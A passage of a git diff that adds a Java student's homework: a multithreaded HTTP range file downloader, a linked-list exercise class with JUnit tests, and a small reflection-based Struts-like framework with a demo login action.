@@ -0,0 +1,120 @@
+package download;
+
+import java.io.IOException;
+import java.io.RandomAccessFile;
+import java.util.concurrent.CyclicBarrier;
+
+import download.api.Connection;
+import download.api.ConnectionException;
+import download.api.ConnectionManager;
+import download.api.DownloadListener;
+
+
+public class FileDownloader {
+	
+	private String url;
+	private String localFile;
+	private static final int DOWNLOAD_THREAD_NUM = 3;//下载线程的个数
+
+	DownloadListener listener;
+	ConnectionManager cm;//管理Connection
+	
+	public FileDownloader(String _url, String localFile) {
+		this.url = _url;
+		this.localFile = localFile;
+	}
+	
+	public void execute(){
+		// 在这里实现你的代码， 注意： 需要用多线程实现下载
+		// 这个类依赖于其他几个接口, 你需要写这几个接口的实现代码
+		// (1) ConnectionManager , 可以打开一个连接，通过Connection可以读取其中的一段（用startPos, endPos来指定）
+		// (2) DownloadListener, 由于是多线程下载， 调用这个类的客户端不知道什么时候结束，所以你需要实现当所有
+		//     线程都执行完以后， 调用listener的notifiedFinished方法， 这样客户端就能收到通知。
+		// 具体的实现思路：
+		// 1. 需要调用ConnectionManager的open方法打开连接， 然后通过Connection.getContentLength方法获得文件的长度
+		// 2. 至少启动3个线程下载，  注意每个线程需要先调用ConnectionManager的open方法
+		// 然后调用read方法， read方法中有读取文件的开始位置和结束位置的参数， 返回值是byte[]数组
+		// 3. 把byte数组写入到文件中
+		// 4. 所有的线程都下载完成以后， 需要调用listener的notifiedFinished方法
+		
+		// 下面的代码是示例代码， 也就是说只有一个线程， 你需要改造成多线程的。
+		
+		// 栅栏类：第一个参数表示线程的个数；
+		// 		     第二个参数表示等所有的线程执行完成之后，再调用的线程
+		CyclicBarrier barrier = new CyclicBarrier(DOWNLOAD_THREAD_NUM, new Runnable(){
+
+			@Override
+			public void run() {
+				listener.notifyFinished();
+			}});
+		
+		Connection conn = null;
+		try {
+			
+			conn = cm.open(this.url);
+			int length = conn.getContentLength();	
+			createPlaceHolderFile(localFile, length);
+			int[][] ranges = allocateDownloadRange(DOWNLOAD_THREAD_NUM, length);
+			for(int i = 0; i < DOWNLOAD_THREAD_NUM; i++){
+				int startPos = ranges[i][0];
+				int endPos = ranges[i][1];
+				DownloadThread thread = new DownloadThread(cm.open(url), startPos, endPos, localFile, barrier);
+				thread.start();
+			}
+			
+		} catch (ConnectionException e) {			
+			e.printStackTrace();
+		} catch (IOException e) {
+			e.printStackTrace();
+		}finally{
+			if(conn != null){
+				conn.close();
+			}
+		}
+		
+	}
+	
+	// 在下载之前，根据文件的额大小，先在硬盘中占据一个地方，以免空间不够用
+	private void createPlaceHolderFile(String fileName, int contentLen) throws IOException{
+		// 随机读写文件的类
+		RandomAccessFile raf = new RandomAccessFile(fileName, "rw");
+		for(int i = 0; i < contentLen; i++){
+			raf.write(i);
+		}
+		raf.close();
+		
+	}
+	
+	private int[][] allocateDownloadRange(int threadNum, int contentLen){
+		int[][] ranges = new int[threadNum][2];
+		int eachThreadSize = contentLen / threadNum;
+		int left = contentLen % threadNum;
+		for(int i = 0; i < threadNum; i++){
+			int startPos = i * eachThreadSize;
+			int endPos = (i+1) * eachThreadSize - 1;
+			
+			if(i == (threadNum - 1)){
+				endPos += left;
+			}
+			
+			ranges[i][0] = startPos;
+			ranges[i][1] = endPos;
+		}
+		return ranges;
+	}
+	
+	public void setListener(DownloadListener listener) {
+		this.listener = listener;
+	}
+
+	
+	
+	public void setConnectionManager(ConnectionManager ucm){
+		this.cm = ucm;
+	}
+	
+	public DownloadListener getListener(){
+		return this.listener;
+	}
+	
+}
diff --git a/group19/1294642551/src/download/api/Connection.java b/group19/1294642551/src/download/api/Connection.java
new file mode 100644
index 0000000000..1a467a8086
--- /dev/null
+++ b/group19/1294642551/src/download/api/Connection.java
@@ -0,0 +1,23 @@
+package download.api;
+
+import java.io.IOException;
+
+public interface Connection {
+	/**
+	 * 给定开始和结束位置， 读取数据， 返回值是字节数组
+	 * @param startPos 开始位置， 从0开始
+	 * @param endPos 结束位置
+	 * @return
+	 */
+	public byte[] read(int startPos,int endPos) throws IOException;
+	/**
+	 * 得到数据内容的长度
+	 * @return
+	 */
+	public int getContentLength();
+	
+	/**
+	 * 关闭连接
+	 */
+	public void close();
+}
diff --git a/group19/1294642551/src/download/api/ConnectionException.java b/group19/1294642551/src/download/api/ConnectionException.java
new file mode 100644
index 0000000000..8af122abf4
--- /dev/null
+++ b/group19/1294642551/src/download/api/ConnectionException.java
@@ -0,0 +1,10 @@
+package download.api;
+
+
+public class ConnectionException extends Exception {
+
+	public ConnectionException(Exception e) {
+		super(e);
+	}
+
+}
diff --git a/group19/1294642551/src/download/api/ConnectionManager.java b/group19/1294642551/src/download/api/ConnectionManager.java
new file mode 100644
index 0000000000..1519ebb787
--- /dev/null
+++ b/group19/1294642551/src/download/api/ConnectionManager.java
@@ -0,0 +1,10 @@
+package download.api;
+
+public interface ConnectionManager {
+	/**
+	 * 给定一个url , 打开一个连接
+	 * @param url
+	 * @return
+	 */
+	public Connection open(String url) throws ConnectionException;	
+}
diff --git a/group19/1294642551/src/download/api/DownloadListener.java b/group19/1294642551/src/download/api/DownloadListener.java
new file mode 100644
index 0000000000..4119e46144
--- /dev/null
+++ b/group19/1294642551/src/download/api/DownloadListener.java
@@ -0,0 +1,5 @@
+package download.api;
+
+public interface DownloadListener {
+	public void notifyFinished();
+}
diff --git a/group19/1294642551/src/download/impl/ConnectionImpl.java b/group19/1294642551/src/download/impl/ConnectionImpl.java
new file mode 100644
index 0000000000..c12669d1e2
--- /dev/null
+++ b/group19/1294642551/src/download/impl/ConnectionImpl.java
@@ -0,0 +1,79 @@
+package download.impl;
+
+import java.io.ByteArrayOutputStream;
+import java.io.IOException;
+import java.io.InputStream;
+import java.net.HttpURLConnection;
+import java.net.MalformedURLException;
+import java.net.URL;
+import java.net.URLConnection;
+import java.util.Arrays;
+
+import download.api.Connection;
+import download.api.ConnectionException;
+
+/**
+ * ConnectionImpl这个类不是public,是省略的，只在impl这个包中可见
+ * @author 12946
+ *
+ */
+class ConnectionImpl implements Connection{
+
+	URL url;
+	static final int BUFFER_SIZE = 1024;
+	
+	public ConnectionImpl(String url) throws ConnectionException {
+		try {
+			this.url = new URL(url);
+		} catch (MalformedURLException e) {
+			throw new ConnectionException(e);
+		}
+		
+	}
+
+	@Override
+	public byte[] read(int startPos, int endPos) throws IOException {
+		HttpURLConnection httpConn = (HttpURLConnection) url.openConnection();
+		httpConn.setRequestProperty("Range", "bytes="+startPos+"-"+endPos);
+		InputStream input = httpConn.getInputStream();
+//		input.skip(startPos);
+		byte[] buff = new byte[BUFFER_SIZE];
+		int totalLen = endPos - startPos + 1;
+		//内存中的输出流，我们可以往这个内存中的输出流写东西
+		ByteArrayOutputStream baos = new ByteArrayOutputStream();
+		
+		while(baos.size() < totalLen){
+			int len = input.read(buff);//input输入流read的数据放到buff中
+			if(len < 0){
+				break;
+			}
+			baos.write(buff, 0, len);
+		}
+		
+		if(baos.size() > totalLen){//最后一次写入baos时，可能会写入多的数据
+			byte[] data = baos.toByteArray();
+			return Arrays.copyOf(data, totalLen);
+		}
+		
+		return baos.toByteArray();
+		
+	}
+
+	@Override
+	public int getContentLength() {
+		try {
+			URLConnection httpConn = url.openConnection();
+			return httpConn.getContentLength();
+		} catch (IOException e) {
+			e.printStackTrace();
+		}
+		return -1;
+	}
+
+	@Override
+	public void close() {
+		
+		
+	}
+
+}
diff --git a/group19/1294642551/src/download/impl/ConnectionManagerImpl.java b/group19/1294642551/src/download/impl/ConnectionManagerImpl.java
new file mode 100644
index 0000000000..774ae688a4
--- /dev/null
+++ b/group19/1294642551/src/download/impl/ConnectionManagerImpl.java
@@ -0,0 +1,18 @@
+package download.impl;
+
+import download.api.Connection;
+import download.api.ConnectionException;
+import download.api.ConnectionManager;
+
+public class ConnectionManagerImpl implements ConnectionManager {
+
+	/**
+	 * 返回的是Connection接口
+	 */
+	@Override
+	public Connection open(String url) throws ConnectionException {
+		
+		return new ConnectionImpl(url);
+	}
+
+}
diff --git a/group19/1294642551/src/linkList/LinkedList.java b/group19/1294642551/src/linkList/LinkedList.java
new file mode 100644
index 0000000000..ebbe0beb31
--- /dev/null
+++ b/group19/1294642551/src/linkList/LinkedList.java
@@ -0,0 +1,320 @@
+package linkList;
+
+/**
+ * 单向链表：其中头结点（head）中没有数据，第一个数据是head结点的下一个结点存贮
+ * @author 12946
+ *
+ */
+public class LinkedList implements List {
+	
+	private Node head;//头结点
+	private int size;//链表中元素的个数
+	
+	public LinkedList(){
+		this.head = new Node(null);
+		this.size = 0;
+	}
+	
+	
+	public void add(Object o){
+		Node newNode = new Node(o);
+		Node tempNode = head;
+		while(tempNode.next != null){
+			tempNode = tempNode.next;
+		}
+		tempNode.next = newNode;
+		size++;
+	}
+	
+	public void add(int index , Object o){
+		if(index < 0 || index > size-1){
+			throw new IndexOutOfBoundsException("索引越界");
+		}
+		Node newNode = new Node(o);
+		Node tempNode = null;
+		if(index == 0){
+			tempNode = head;
+		}else{
+			tempNode = getNode(index - 1);
+		}
+		newNode.next = tempNode.next;
+		tempNode.next = newNode;
+		
+		size++;
+	}
+	
+	public Object get(int index){
+		
+		return getNode(index).data;
+	}
+	
+	public Node getNode(int index){
+		if(index < 0 || index > size-1){
+			throw new IndexOutOfBoundsException("索引越界");
+		}
+		Node tempNode = head;
+		for(int i = -1; i < index; i++){
+			tempNode = tempNode.next;
+		}
+		return tempNode;
+	}
+	
+	public Object remove(int index){
+		if(index < 0 || index > size-1){
+			throw new IndexOutOfBoundsException("索引越界");
+		}
+		Node tempNode = null;
+		if(index == 0){
+			tempNode = head;
+		}else{
+			tempNode = getNode(index - 1);
+		}
+		tempNode.next = tempNode.next.next;
+		size--;
+		return tempNode.next.data;
+	}
+	
+	public int size(){
+		return size;
+	}
+	
+	public void addFirst(Object o){
+		Node newNode = new Node(o);
+		newNode.next = getNode(0);
+		head.next = newNode;
+		size++;
+	}
+	public void addLast(Object o){
+		getNode(size-1).next = new Node(o);
+		size++;
+	}
+	public Object removeFirst(){
+		if(size < 1){
+			throw new IndexOutOfBoundsException("链表为null,不能删除元素");
+		}
+		head.next = head.next.next;
+		size--;
+		
+		return head.next.data;
+	}
+	public Object removeLast(){
+		if(size < 1){
+			throw new IndexOutOfBoundsException("链表为null,不能删除元素");
+		}
+		
+		Object data = null;
+		if(size == 1){
+			data = head.next.data;
+			head.next = null;
+		}else{
+			Node tempNode = getNode(size-2);
+			data = tempNode.next.data;
+			tempNode.next = null;
+		}
+		size--;
+		return data;
+	}
+	
+	/**
+	 * 根据元素的值查找元素在链表中的位置，找不到则返回-1
+	 * @param o
+	 * @return
+	 */
+	public int findIndex(Object o){
+		for(int i = 0; i < size; i++){
+			if(get(i).equals(o)){
+				return i;
+			}
+		}
+		
+		return -1;
+	}
+	
+	public String toString(){
+		StringBuilder sb = new StringBuilder("[");
+		for(int i = 0; i < size; i++){
+			sb.append(get(i));
+			if(i != size-1){
+				sb.append(",");
+			}
+		}
+		sb.append("]");
+		
+		return sb.toString();
+	}
+	
+	private static class Node{
+		Object data;
+		Node next = null;
+		
+		public Node(Object data){
+			this.data = data;
+		}
+		
+	}
+	
+	/**
+	 * 把该链表逆置
+	 * 例如链表为 3->7->10 , 逆置后变为  10->7->3
+	 */
+	public  void reverse(){		
+		int[] arr = new int[size];
+		for(int i = 0; i < size; i++){
+			arr[i] = (Integer) get(size - i - 1);
+		}
+		LinkedList newLinkedList = new LinkedList();
+		for(int i = 0; i < size; i++){
+			newLinkedList.add(arr[i]);
+		}
+		
+		head = newLinkedList.head;
+	}
+	
+	/**
+	 * 删除一个单链表的前半部分
+	 * 例如：list = 2->5->7->8 , 删除以后的值为 7->8
+	 * 如果list = 2->5->7->8->10 ,删除以后的值为7,8,10
+
+	 */
+	public  void removeFirstHalf(){
+		int index = size/2;
+		head.next = getNode(index);
+		size = size - index;
+	}
+	
+	
+	/**
+	 * 从第i个元素开始， 删除length 个元素 ， 注意i从0开始
+	 * @param i
+	 * @param length
+	 */
+	public  void remove(int i, int length){
+		if(i < 0 ){
+			throw new IndexOutOfBoundsException("索引越界");
+		}
+		
+		Node startNode = null;
+		Node endNode = null;
+		
+		if(i == 0){
+			startNode = head;
+		}else{
+			startNode = getNode(i - 1);
+		}
+		
+		if(i + length >= size){
+			endNode = null;
+			size = i;
+		}else{
+			endNode = getNode(i + length);
+			size = size - length;
+		}
+		startNode.next = endNode;
+		
+		
+	}
+	/**
+	 * 假定当前链表和listB均包含已升序排列的整数
+	 * 从当前链表中取出那些listB所指定的元素
+	 * 例如当前链表 = 11->101->201->301->401->501->601->701
+	 * listB = 1->3->4->6
+	 * 返回的结果应该是[101,301,401,601]  
+	 * @param list
+	 */
+	public  int[] getElements(LinkedList list){
+		if((Integer)list.get(list.size-1) > this.size - 1){
+			throw new IndexOutOfBoundsException("list指定的元素角标超过当前链表的范围");
+		}
+		int[] arr = new int[list.size];
+		for(int i = 0; i < arr.length; i++){
+			int index = (Integer) list.get(i);
+			arr[i] = (Integer) this.get(index);
+		}
+		
+		return arr;
+	}
+	
+	/**
+	 * 已知链表中的元素以值递增有序排列，并以单链表作存储结构。
+	 * 从当前链表中中删除在listB中出现的元素 
+
+	 * @param list
+	 */
+	
+	public  void subtract(LinkedList list){
+		for(int i = 0; i < list.size; i++){
+			Object value = list.get(i);
+			int index = this.findIndex(value);
+			if(index != -1){
+				this.remove(index);
+			}
+		}
+	}
+	
+	/**
+	 * 已知当前链表中的元素以值递增有序排列，并以单链表作存储结构。
+	 * 删除表中所有值相同的多余元素（使得操作后的线性表中所有元素的值均不相同）
+	 */
+	public  void removeDuplicateValues(){
+		LinkedList newLinkedList = new LinkedList();
+		for(int i = 0; i < size; i++){
+			Object value = this.get(i);
+			if(newLinkedList.findIndex(value) == -1){
+				newLinkedList.add(value);
+			}
+		}
+		this.head = newLinkedList.head;
+		this.size = newLinkedList.size;
+	}
+	
+	/**
+	 * 已知链表中的元素以值递增有序排列，并以单链表作存储结构。
+	 * 试写一高效的算法，删除表中所有值大于min且小于max的元素（若表中存在这样的元素）
+	 * @param min
+	 * @param max
+	 */
+	public  void removeRange(int min, int max){
+		int start = 0;
+		int end = size - 1;
+		for(int i = 0; i < size; i++){
+			int value = (Integer) get(i);
+			if(value <= min){
+				start++;
+			}
+		}
+		
+		for(int j = size-1; j > -1; j--){
+			int value = (Integer) get(j);
+			if(value >= max){
+				end--;
+			}
+		}
+		
+		Node tempNode = null;
+		if(start == 0){
+			tempNode = head;
+		}else{
+			tempNode = getNode(start - 1);
+		}
+		tempNode.next = getNode(end).next;
+		size = size - (end - start + 1);
+	}
+	
+	/**
+	 * 假设当前链表和参数list指定的链表均以元素依值递增有序排列（同一表中的元素值各不相同）
+	 * 现要求生成新链表C，其元素为当前链表和list中元素的交集，且表C中的元素有依值递增有序排列
+	 * @param list
+	 */
+	public  LinkedList intersection( LinkedList list){
+		LinkedList newLinkedList = new LinkedList();
+		for(int i = 0; i < list.size; i++){
+			int value = (Integer) list.get(i);
+			int index = findIndex(value);
+			if(index != -1){
+				newLinkedList.add(value);
+			}
+		}
+		
+		return newLinkedList;
+	}
+}
diff --git a/group19/1294642551/src/linkList/LinkedListTest.java b/group19/1294642551/src/linkList/LinkedListTest.java
new file mode 100644
index 0000000000..53570d25d2
--- /dev/null
+++ b/group19/1294642551/src/linkList/LinkedListTest.java
@@ -0,0 +1,202 @@
+package linkList;
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+public class LinkedListTest {
+
+	@Before
+	public void setUp() throws Exception {
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+
+	@Test
+	public void testReverse() {
+		LinkedList l = new LinkedList();
+		
+		Assert.assertEquals("[]", l.toString());
+		
+		l.add(1);
+		l.reverse();
+		Assert.assertEquals("[1]", l.toString());
+		
+		l.add(2);
+		l.add(3);
+		l.add(4);
+		
+		l.reverse();
+		Assert.assertEquals("[4,3,2,1]", l.toString());
+	}
+
+	@Test
+	public void testRemoveFirstHalf() {
+		{
+			LinkedList linkedList = new LinkedList();
+			linkedList.add(1);
+			linkedList.add(2);
+			linkedList.add(3);
+			linkedList.add(4);
+			linkedList.removeFirstHalf();
+			Assert.assertEquals("[3,4]", linkedList.toString());
+		}
+		{
+			LinkedList linkedList = new LinkedList();
+			linkedList.add(1);
+			linkedList.add(2);
+			linkedList.add(3);
+			linkedList.add(4);
+			linkedList.add(5);
+			linkedList.removeFirstHalf();
+			Assert.assertEquals("[3,4,5]", linkedList.toString());
+		}
+	}
+	
+
+
+	@Test
+	public void testRemoveIntInt() {
+		
+		{
+			LinkedList linkedList = new LinkedList();
+			linkedList.add(1);
+			linkedList.add(2);
+			linkedList.add(3);
+			linkedList.add(4);
+			linkedList.remove(0, 2);		
+			Assert.assertEquals("[3,4]", linkedList.toString());
+		}
+		{
+			LinkedList linkedList = new LinkedList();
+			linkedList.add(1);
+			linkedList.add(2);
+			linkedList.add(3);
+			linkedList.add(4);
+			linkedList.remove(3, 2);		
+			Assert.assertEquals("[1,2,3]", linkedList.toString());
+		}
+		{
+			LinkedList linkedList = new LinkedList();
+			linkedList.add(1);
+			linkedList.add(2);
+			linkedList.add(3);
+			linkedList.add(4);
+			linkedList.remove(2, 2);		
+			Assert.assertEquals("[1,2]", linkedList.toString());
+		}
+		
+	}
+	@Test
+	public void testGetElements() {
+		LinkedList linkedList = new LinkedList();
+		linkedList.add(11);
+		linkedList.add(101);
+		linkedList.add(201);
+		linkedList.add(301);
+		linkedList.add(401);
+		linkedList.add(501);
+		linkedList.add(601);
+		linkedList.add(701);
+		LinkedList list = new LinkedList();
+		list.add(1);
+		list.add(3);
+		list.add(4);
+		list.add(6);
+		Assert.assertArrayEquals(new int[]{101,301,401,601}, linkedList.getElements(list));
+	}
+	
+	@Test
+	public void testSubtract() {
+		LinkedList list1 = new LinkedList();		
+		list1.add(101);
+		list1.add(201);
+		list1.add(301);
+		list1.add(401);
+		list1.add(501);
+		list1.add(601);
+		list1.add(701);
+		
+		LinkedList list2 = new LinkedList();	
+		
+		list2.add(101);
+		list2.add(201);
+		list2.add(301);
+		list2.add(401);
+		list2.add(501);
+		
+		list1.subtract(list2);
+		
+		Assert.assertEquals("[601,701]", list1.toString());
+	}
+	
+	
+	@Test
+	public void testRemoveDuplicateValues() {
+		LinkedList list = new LinkedList();
+		list.add(1);
+		list.add(1);
+		list.add(2);
+		list.add(2);
+		list.add(3);
+		list.add(5);
+		list.add(5);
+		list.add(6);
+		list.removeDuplicateValues();
+		Assert.assertEquals("[1,2,3,5,6]", list.toString());
+	}
+	
+	
+	@Test
+	public void testRemoveRange() {
+		
+		{
+			LinkedList linkedList = new LinkedList();
+			
+			linkedList.add(11);
+			linkedList.add(12);
+			linkedList.add(13);
+			linkedList.add(14);
+			linkedList.add(16);
+			linkedList.add(16);
+			linkedList.add(19);
+			
+			linkedList.removeRange(10, 19);
+			Assert.assertEquals("[19]", linkedList.toString());
+		}
+		
+		{
+			LinkedList linkedList = new LinkedList();
+			
+			linkedList.add(11);
+			linkedList.add(12);
+			linkedList.add(13);
+			linkedList.add(14);
+			linkedList.add(16);
+			linkedList.add(16);
+			linkedList.add(19);
+			
+			linkedList.removeRange(10, 14);
+			Assert.assertEquals("[14,16,16,19]", linkedList.toString());
+		}
+	}
+	@Test
+	public void testIntersection() {
+		LinkedList list1 = new LinkedList();
+		list1.add(1);
+		list1.add(6);
+		list1.add(7);
+		
+		LinkedList list2 = new LinkedList();
+		list2.add(2);
+		list2.add(5);
+		list2.add(6);
+		
+		LinkedList newList = list1.intersection(list2);
+		Assert.assertEquals("[6]", newList.toString());
+	}
+	
+}
diff --git a/group19/1294642551/src/linkList/List.java b/group19/1294642551/src/linkList/List.java
new file mode 100644
index 0000000000..715da9ab77
--- /dev/null
+++ b/group19/1294642551/src/linkList/List.java
@@ -0,0 +1,9 @@
+package linkList;
+
+public interface List {
+	public void add(Object o);
+	public void add(int index, Object o);
+	public Object get(int index);
+	public Object remove(int index);
+	public int size();
+}
diff --git a/group19/1294642551/src/litestruts/Configuration.java b/group19/1294642551/src/litestruts/Configuration.java
new file mode 100644
index 0000000000..5dcde2d1c6
--- /dev/null
+++ b/group19/1294642551/src/litestruts/Configuration.java
@@ -0,0 +1,137 @@
+package litestruts;
+
+import java.io.IOException;
+import java.io.InputStream;
+import java.util.HashMap;
+import java.util.List;
+import java.util.Map;
+
+import org.dom4j.Document;
+import org.dom4j.DocumentException;
+import org.dom4j.Element;
+import org.dom4j.io.SAXReader;
+
+
+/**
+ * 配置类
+ * 提取xml文件中的元素和属性，封装成Java对象，这样方便使用
+ * @author 12946
+ *
+ */
+
+public class Configuration {
+	
+	//键为actionName,值为ActionConfig对象
+	private Map<String, ActionConfig> actions = new HashMap<String, ActionConfig>();
+
+	public Configuration(String filename) {
+		//得到输入流
+		String packageName = this.getClass().getPackage().getName();
+		packageName = packageName.replace(".", "/");
+		InputStream input = this.getClass().getResourceAsStream("/"+packageName+"/"+filename);
+		parseXML(input);
+		try {
+			input.close();
+		} catch (IOException e) {
+			throw new ConfigurationException(e);
+		}
+		//解析XML
+
+	}
+
+	/**
+	 * 解析XML，将XML的元素封装到ActionConfig对象中
+	 * @param input
+	 */
+	@SuppressWarnings("unchecked")
+	private void parseXML(InputStream input) {
+
+		try {
+	        SAXReader reader = new SAXReader();  
+	        Document document = reader.read(input);
+	        Element root = document.getRootElement(); 
+	        
+	        List<Element> actionList = root.elements("action");//得到所有action元素
+	        for(Element action : actionList){
+	        	String actionName = action.attributeValue("name");
+	        	String className = action.attributeValue("class");
+	        	// 创建ActionConfig对象
+	        	ActionConfig ac = new ActionConfig(actionName, className);
+	        	// 给ActionConfig对象增加ViewResult
+	        	List<Element> results = action.elements("result");
+	        	for(Element result : results){
+	        		String resultName = result.attributeValue("name");
+	        		String resultText = result.getText();
+	        		ac.addViewResult(resultName, resultText);
+	        	}
+	        	// 将ActionConfig对象加入到actions中
+	        	this.actions.put(actionName, ac);
+	        }
+		} catch (DocumentException e) {
+			throw new ConfigurationException(e);
+		}
+
+		
+	}
+
+	/**
+	 * 获取指定action中的class名称
+	 * @param actionName
+	 * @return
+	 */
+	public String getClassName(String actionName) {
+		ActionConfig ac = this.actions.get(actionName);
+		if(ac == null){
+			return null;
+		}
+		return ac.getClassName();
+	}
+	
+	/**
+	 * 根据resultName获取resultView
+	 * @param string
+	 * @return
+	 */
+	public String getResultView(String actionName, String resultName) {
+		ActionConfig ac = this.actions.get(actionName);
+		if(ac == null){
+			return null;
+		}
+		return ac.getViewName(resultName);
+	}
+	
+	/**
+	 * 内部类，封装struts.xml的元素
+	 * @author 12946
+	 *
+	 */
+	@SuppressWarnings("unused")
+	private class ActionConfig{
+		private String actionName;
+		private String className;
+		Map<String, String> viewResult = new HashMap<String, String>();
+		
+		public ActionConfig(String actionName, String className) {
+			super();
+			this.actionName = actionName;
+			this.className = className;
+		}
+		
+		public String getClassName(){
+			return className;
+		}
+		
+		public void addViewResult(String name, String viewName){
+			viewResult.put(name, viewName);
+		}
+		
+		public String getViewName(String resultName){
+			return viewResult.get(resultName);
+		}
+		
+	}
+
+
+
+
+}
diff --git a/group19/1294642551/src/litestruts/ConfigurationException.java b/group19/1294642551/src/litestruts/ConfigurationException.java
new file mode 100644
index 0000000000..a74e434a38
--- /dev/null
+++ b/group19/1294642551/src/litestruts/ConfigurationException.java
@@ -0,0 +1,26 @@
+package litestruts;
+
+import java.io.IOException;
+
+import org.dom4j.DocumentException;
+
+
+public class ConfigurationException extends RuntimeException {
+
+
+	public ConfigurationException(String msg) {
+		super(msg);
+	}
+
+
+	public ConfigurationException(IOException e) {
+		super(e);
+	}
+
+
+	public ConfigurationException(DocumentException e) {
+		super(e);
+	}
+	
+
+}
diff --git a/group19/1294642551/src/litestruts/LoginAction.java b/group19/1294642551/src/litestruts/LoginAction.java
new file mode 100644
index 0000000000..bba4c11c9f
--- /dev/null
+++ b/group19/1294642551/src/litestruts/LoginAction.java
@@ -0,0 +1,39 @@
+package litestruts;
+
+/**
+ * 这是一个用来展示登录的业务类， 其中的用户名和密码都是硬编码的。
+ * @author liuxin
+ *
+ */
+public class LoginAction{
+    private String name ;
+    private String password;
+    private String message;
+
+    public String getName() {
+        return name;
+    }
+
+    public String getPassword() {
+        return password;
+    }
+
+    public String execute(){
+            if("test".equals(name) && "1234".equals(password)){
+                this.message = "login successful";
+                return "success";
+            }
+            this.message = "login failed,please check your user/pwd";
+            return "fail";
+    }
+
+    public void setName(String name){
+        this.name = name;
+    }
+    public void setPassword(String password){
+        this.password = password;
+    }
+    public String getMessage(){
+        return this.message;
+    }
+}
diff --git a/group19/1294642551/src/litestruts/ReflectionUtil.java b/group19/1294642551/src/litestruts/ReflectionUtil.java
new file mode 100644
index 0000000000..fc015885d6
--- /dev/null
+++ b/group19/1294642551/src/litestruts/ReflectionUtil.java
@@ -0,0 +1,79 @@
+package litestruts;
+
+import java.lang.reflect.InvocationTargetException;
+import java.lang.reflect.Method;
+import java.util.ArrayList;
+import java.util.HashMap;
+import java.util.List;
+import java.util.Map;
+
+
+public class ReflectionUtil {
+
+	public static List<Method> getSetterMethod(Class<?> clazz) {
+		return getMethods(clazz, "set");
+	}
+
+
+	public static void setParameters(Object o,
+			Map<String, String> parameters) {
+		List<Method> methods = getSetterMethod(o.getClass());
+		
+		for(String name : parameters.keySet()){
+			String methodName = "set"+name;
+			for(Method m : methods){
+				if(m.getName().equalsIgnoreCase(methodName)){
+					try {
+						m.invoke(o, parameters.get(name));
+					} catch (IllegalAccessException e) {
+						e.printStackTrace();
+					} catch (IllegalArgumentException e) {
+						e.printStackTrace();
+					} catch (InvocationTargetException e) {
+						e.printStackTrace();
+					} 
+				}
+			}
+		}
+	}
+
+
+	public static List<Method> getGetterMethod(Class<?> clazz) {
+		return getMethods(clazz,"get");
+	}
+
+
+	public static List<Method> getMethods(Class<?> clazz, String startWithName) {
+		List<Method> methods = new ArrayList<Method>();
+		for(Method method : clazz.getDeclaredMethods()){
+			if(method.getName().startsWith(startWithName)){
+				methods.add(method);
+			}
+		}
+		return methods;
+	}
+
+
+	public static Map<String, Object> getParameters(Object o) {
+		List<Method> methods = getGetterMethod(o.getClass());
+		Map<String, Object> parameters = new HashMap<String, Object>();
+		for(Method m : methods){
+			try {
+				String name = m.getName().replaceFirst("get", "").toLowerCase();
+				Object value = m.invoke(o);
+				parameters.put(name, value);
+			} catch (IllegalArgumentException e) {
+				e.printStackTrace();
+			} catch (IllegalAccessException e) {
+				e.printStackTrace();
+			} catch (InvocationTargetException e) {
+				e.printStackTrace();
+			}
+		}
+		
+		return parameters;
+		
+	}
+
+
+}
diff --git a/group19/1294642551/src/litestruts/Struts.java b/group19/1294642551/src/litestruts/Struts.java
new file mode 100644
index 0000000000..1034ccf2d5
--- /dev/null
+++ b/group19/1294642551/src/litestruts/Struts.java
@@ -0,0 +1,98 @@
+package litestruts;
+
+import java.lang.reflect.Method;
+import java.util.Map;
+
+
+
+public class Struts {
+
+	private static final Configuration cfg = new Configuration("struts.xml");
+	
+    public static View runAction(String actionName, Map<String,String> parameters) {
+
+        /*
+         
+		0. 读取配置文件struts.xml
+ 		
+ 		1. 根据actionName找到相对应的class ， 例如LoginAction,   通过反射实例化（创建对象）
+		据parameters中的数据，调用对象的setter方法， 例如parameters中的数据是 
+		("name"="test" ,  "password"="1234") ,     	
+		那就应该调用 setName和setPassword方法
+		
+		2. 通过反射调用对象的exectue 方法， 并获得返回值，例如"success"
+		
+		3. 通过反射找到对象的所有getter方法（例如 getMessage）,  
+		通过反射来调用， 把值和属性形成一个HashMap , 例如 {"message":  "登录成功"} ,  
+		放到View对象的parameters
+		
+		4. 根据struts.xml中的 <result> 配置,以及execute的返回值，  确定哪一个jsp，  
+		放到View对象的jsp字段中。
+        
+        */
+//		try {
+//			String className = cfg.getClassName(actionName);
+//			if(className == null){
+//				return null;
+//			}
+//			Class<?> clazz = Class.forName(className);
+//			LoginAction action = (LoginAction) clazz.newInstance();
+//			
+//			ReflectionUtil.setParameters(action, parameters);
+//			Method excuteMethod = clazz.getMethod("excute");
+//			String resultName = (String) excuteMethod.invoke(action);
+//			String jsp = cfg.getResultView(actionName, resultName);
+//			
+//			Map<String, Object> parameterMap = ReflectionUtil.getParameters(action);
+//			
+//			View view = new View();
+//			view.setParameters(parameterMap);
+//			view.setJsp(jsp);
+//			return view;
+//			
+//		} catch (Exception e) {
+//			e.printStackTrace();
+//		}
+//    
+//		return null;
+//    }   
+//    
+    
+    
+    
+    
+    
+    
+    
+	String clzName = cfg.getClassName(actionName);
+	
+	if(clzName == null){
+		return null;
+	}
+	
+	try {
+		
+		Class<?> clz = Class.forName(clzName);    		
+		Object action = clz.newInstance();
+		
+		ReflectionUtil.setParameters(action, parameters);
+		
+		Method m = clz.getDeclaredMethod("execute");			
+		String resultName = (String)m.invoke(action);
+		
+		Map<String,Object> params = ReflectionUtil.getParameters(action);	
+		String resultView = cfg.getResultView(actionName, resultName);			
+		View view = new View();			
+		view.setParameters(params);
+		view.setJsp(resultView);
+		return view;
+		
+		
+		
+	} catch (Exception e) {
+		
+		e.printStackTrace();
+	}
+	return null;
+    }
+}
diff --git a/group19/1294642551/src/litestruts/View.java b/group19/1294642551/src/litestruts/View.java
new file mode 100644
index 0000000000..77e7435117
--- /dev/null
+++ b/group19/1294642551/src/litestruts/View.java
@@ -0,0 +1,23 @@
+package litestruts;
+
+import java.util.Map;
+
+public class View {
+	private String jsp;
+	private Map<String, Object> parameters;
+	
+	public String getJsp() {
+		return jsp;
+	}
+	public View setJsp(String jsp) {
+		this.jsp = jsp;
+		return this;
+	}
+	public Map<String, Object> getParameters() {
+		return parameters;
+	}
